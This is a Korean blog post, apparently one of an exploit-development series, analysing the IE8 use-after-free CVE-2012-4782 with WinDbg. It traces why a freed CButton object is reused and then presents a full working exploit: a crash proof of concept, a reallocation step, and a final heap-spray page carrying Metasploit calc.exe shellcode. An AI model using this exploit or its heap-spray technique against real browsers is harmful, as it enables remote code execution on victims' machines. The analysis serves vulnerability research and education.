/ POSTS

CVE-2012-4782

0x0e IE8 Exploit

안녕하세요. Joel입니다.

오늘은 지금까지 알아 본 기법을 토대로 exploit을 다루어 보고자 합니다.

2019년에 나온 CVE를 바로 다루어 보려고 하다가 차근차근 가보자는 생각으로 IE8부터 설명하기로 했답니다.

이번 블로그에서 연재하는 CVE-2012-4782는 IE8에서 발생하는 UAF 취약점입니다.

Exodus 블로그를 많이 참조해서 글이 작성된 점을 먼저 안내 드립니다.

환경 구성
OS Windows XP Service Pack 3
IE 8.0.6001
Affect Ver. IE6, IE7, IE8
POC

분석에 사용할 POC는 아래와 같습니다.

<!doctype html>
<html>
<head>
<script>
function helloWorld(){
	var e0 = null;
	var e1 = null;
	var e2 = null;
	
	try{
		e0 = document.getElementById("a");	// form
		e1 = document.getElementById("b"); // dfn
		e2 = document.createElement("q"); // q
		e1.applyElement(e2);
		e1.appendChild(document.createElement('button'));
		e1.applyElement(e0);
		e2.outerText="";
		e2.appendChild(document.createElement('body'));
		CollectGarbage();
	} catch(e){}

}
</script>
</head>
<body onload="eval(helloWorld())">
	<form id="a">
	</form>
	<dfn id="b">
	</dfn>
</body>
</html>

위 코드를 실행하기 전에 아래 명령어로 몇 가지 설정을 해두고 분석을 하겠습니다.

gflag.exe /i iexplore.exe +hpa +ust

hpa : 페이지 힙 설정 ust : 유저 스택 트레이스 설정으로 유저모드의 스택 결과를 데이터베이스화하여 저장해두는 것

[그림 1-1]

이제 windbg로 실행 결과를 보도록 하겠습니다.

[그림 1-2]

위 실행 결과를 보면 mshtml!CMarkup::OnLoadStatusDone+0x4ef에서 Access Violation Error가 발생하는 것을 알 수 있습니다.

에러 발생 이유를 추측해보면 move eax, dword ptr [edi]에서 edi 값에 문제가 있는 것 같습니다.

edi에 어떤 문제가 있어서 이런 에러가 발생하는지 살펴보겠습니다.

[그림 1-3]

첫 번째 빨간 박스에 CButton이라고 적혀 있는 것을 보면 edi는 Button 객체였다는 것을 알 수 있습니다.

그리고 vector deleting destructor를 보아 free된 객체인 것을 알 수 있습니다.

그리고 아래 CollectGarbage를 보면 더 확실해지네요.

CollectGarbage 함수에 의해 가장 윗줄 RtlFreeHeap까지 실행되어 오면서 Button 객체가 free된 것이라 생각할 수 있습니다.

객체가 해제된 뒤 그 객체에서 에러가 발생한다는 것은??

해제된 그 객체를 edi를 통해 다시 사용하려고 접근했기 때문이라고 추측할 수 있죠. 즉 여긴 UAF 취약점이 발생하는구나.

그럼 이제 CButton 객체가 생성되는 과정부터 해제하는 과정을 살펴보겠습니다.

먼저, CButton 생성 과정입니다.

[그림 1-4]

CButton은 CButton::CreateElement에서 HeapAlloc 함수를 이용해서 할당되는 것을 알 수 있습니다.

생성 시, 58h만큼 크기를 할당받는 것도 알 수 있네요.

그리고 HeapAlloc 함수가 끝난 뒤, 결과 값을 esi에 넣어주는 것도 알 수 있습니다.

다음은 CButton 객체를 해제하는 과정을 살펴볼게요.

[그림 1-5]

해제 과정에서는 esi의 값을 push하여 해당 객체를 해제한다는 것을 알 수 있습니다.

객체 생성 결과를 담은 esi와 해제 시에 사용한 esi가 같은 값인지는 조금 있다가 windbg로 살펴보겠습니다.

지금까지 우리는 CButton 객체의 생성과 해제 로직을 살펴봤습니다.

근데 에러 메시지를 보면 edi에서 에러가 발생하는데 이 edi는 갑자기 어디서 나오는 걸까요??

edi를 추적해보겠습니다.

[그림 1-6]

에러가 났던 OnLoadStatusDone 함수를 추적해본 결과, CElement::FindDefaultElem 함수에서 그 결과 값을 edi에 넣어준다는 것을 알 수 있습니다.

그럼 이제 CElement::FindDefaultElem을 살펴봐야겠죠?

[그림 1-7]

코드를 따라가보면 CElement::Doc라는 함수의 결과를 edi에 넣어주고 있습니다.

[그림 1-8]

그리고 [edi+1A8h]를 eax에 넣어주고 난 뒤 CElement::FindDefaultElem가 종료됩니다.

왜 [edi+1A8h]에 해제된 CButton 객체가 있는지, CElement::Doc가 어떤 것을 반환하는지 알아봐야겠네요.

CElement::FindDefaultElem 시작 위치에 브레이크 포인트를 설정하고 코드를 따라가봤습니다.

[그림 1-9]

코드를 실행시키다보니 아까 위에서 살펴봤던 Doc가 보이고 결과 값이 eax에 들어가 있는 것도 보입니다.

[그림 1-10]

우리가 살펴보고자 했던 [edi+1A8h]까지 왔습니다.

아까 eax에 담겨 있던 값이 edi에 담겨 있고 또 vtable이라는 내용도 확인이 되네요.

그럼 저 [edi+1A8h]는 해제된 CButton 객체의 vtable 값이라는 것이라는 것도 알 수 있습니다.

이제 [edi+1A8h]에 CButton 객체의 vtable 값이 언제 쓰이는지만 파악하면 되겠습니다.

[그림 1-11]

위 그림처럼 mshtml!CDoc::operator new+0x00000013 부분에 브레이크를 설정하고 분석을 했습니다.

[그림 1-15]

코드를 쭉 따라가보면 위 그림과 같이 객체를 생성하는 부분을 확인할 수 있습니다.

이 결과 값 + 1A8h 위치에 값을 쓸 때 브레이크를 잡도록 설정해야겠네요.

[그림 1-12]

따라가보니 SetDefaultElem에서 eax+1A8h 위치에 값을 적는다는 것을 알 수 있습니다.

esi와 edi 값을 확인해보면 아래와 같습니다.

[그림 1-13]
[그림 1-14]

esi는 Cdoc이고 edi에 CButton 객체의 주소가 들어가 있는 것을 확인했습니다.

그런데 도대체 왜 SetDefaultElem에서 해제된 객체의 주소를 적어주는 걸까요??

Exodus 블로그에서는 SetDefaultElem에서 CDoc 객체에 레퍼런스를 추가하기전에 Addref를 호출하는 것을 잊어버린 것 같다라고 말하고 있습니다.

객체 참조시 Addref를 통해서 Count를 증가시키고 Release를 통해서 Count를 감소시키는데 0이 아니면 해제하지 않도록 되어 있습니다.

이런 경우, 균형이 맞지 않게 되어 원치 않게 객체가 해제되는 경우라고 볼 수 있겠습니다.

그래서 다른 레퍼런스를 제거하는 것으로 인해 객체가 해제되지만 Cdoc 객체에서 DefaultElem을 통해 계속 접근 가능한 것으로 판단됩니다.

Exploit

본격적으로 Exploit을 진행해보도록 하겠습니다.

CButton 객체를 CollectGarbage로 해제한 후에도 CButton을 사용하려고 해서 문제가 생겼죠?

그렇다는 말은 CollectGarbage로 해제한 후에 CButton 객체를 가르키고 있던 곳을

쉘 코드가 있는 곳을 가르키도록 만들면 되겠네요.

어떻게 해야 해당 위치를 재할당받아서 우리가 원하는 값을 넣을 수 있을까요?

CreateElement의 HeapAlloc 과정을 다시 살펴보겠습니다.

[그림 1-16]

CButton을 할당할 때 0x58만큼(88 바이트) 메모리에 할당하는 것을 알 수 있습니다.

0x58만큼 할당하고 해제한 뒤 0x58만큼 다시 할당 요청을 하면 CButton 객체가 사용했던 위치를 다시 할당해줄 것입니다.

gflag.exe로 힙 페이지와 스택 트레이스 설정을 해제하고 코드를 수정하겠습니다.

gflag.exe /i iexplore.exe -hpa -ust

아래 코드는 글 맨 처음에 소개했던 코드에서 재할당하는 부분까지 포함된 것 입니다.

<!doctype html>
<html>
<head>
<script>
function helloWorld(){
	var e0 = null;
	var e1 = null;
	var e2 = null;
	
	try{
		e0 = document.getElementById("a");	// form
		e1 = document.getElementById("b"); // dfn
		e2 = document.createElement("q"); // q
		e1.applyElement(e2);
		e1.appendChild(document.createElement('button'));
		e1.applyElement(e0);
		e2.outerText="";
		e2.appendChild(document.createElement('body'));
		CollectGarbage();
		e0.className = "\u4148\u4B43AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	} catch(e){}

}
</script>
</head>
<body onload="eval(helloWorld())">
	<form id="a">
	</form>
	<dfn id="b">
	</dfn>
</body>
</html>

CollectGarbage 바로 아래에 e0.className 부분을 통해서 Vtable 자리에 0x58만큼 재할당하고 있습니다.

이 코드를 다시 한 번 Windbg로 살펴보겠습니다.

[그림 1-17]

edi를 살펴보니 우리가 입력한 값이 제대로 들어간 것을 알 수 있습니다.

그럼 이제 남은 일은 HeapSpray로 쉘 코드를 Heap에 뿌려준 다음, vtable 값을 예측 가능한 주소로 할당하는 것입니다.

드디어 최종 코드입니다.

<!doctype html>
<html>
<head>
<SCRIPT language="JavaScript">
function padnum(n, numdigits)
{
n = n.toString();
var pnum = '';
if (numdigits > n.length)
{
for (z = 0; z < (numdigits - n.length); z++)
pnum += '0';
}
return pnum + n.toString();
}
var calc, chunk_size, headersize, nopsled, nopsled_len, code;
var heap_chunks, i, codewithnum;
//
// ruby msfpayload windows/exec cmd=calc.exe J
// windows/exec - 200 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, CMD=calc.exe
//
calc = unescape(
"%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +
"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +
"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +
"%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +
"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +
"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +
"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +
"%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +
"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +
"%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +
"%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +
"%u6c61%u2e63%u7865%u0065");
//
chunk_size = 0x40000;
headersize = 0x24;
nopsled = unescape("%u0c0c%u0c0c"); // 0x7c376224 RETN [MSVCR71.dll]
nopsled_len = chunk_size - (headersize + calc.length);
while (nopsled.length < nopsled_len)
nopsled += nopsled;
nopsled = nopsled.substring(0, nopsled_len);
code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
{
codewithnum = padnum(i,4) + code;
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
} // heap spray
function helloWorld(){
var e0 = null;
var e1 = null;
var e2 = null;

try{
	e0 = document.getElementById("a");	// form
	e1 = document.getElementById("b"); // dfn
	e2 = document.createElement("q"); // q
	e1.applyElement(e2);
	e1.appendChild(document.createElement('button'));
	e1.applyElement(e0);
	e2.outerText="";
	e2.appendChild(document.createElement('body'));
	CollectGarbage();
	e0.className = "\u0c0c\u0c0cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
} catch(e){}

}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

위 코드를 실행한 결과 아래와 같이 계산기가 정상적으로 실행된 것을 볼 수 있습니다.

[그림 1-18]

첫 번째 IE8 Exploit 설명을 모두 마쳤습니다.

다음 글에서는 IE 10 Exploit을 다루어보도록 하겠습니다.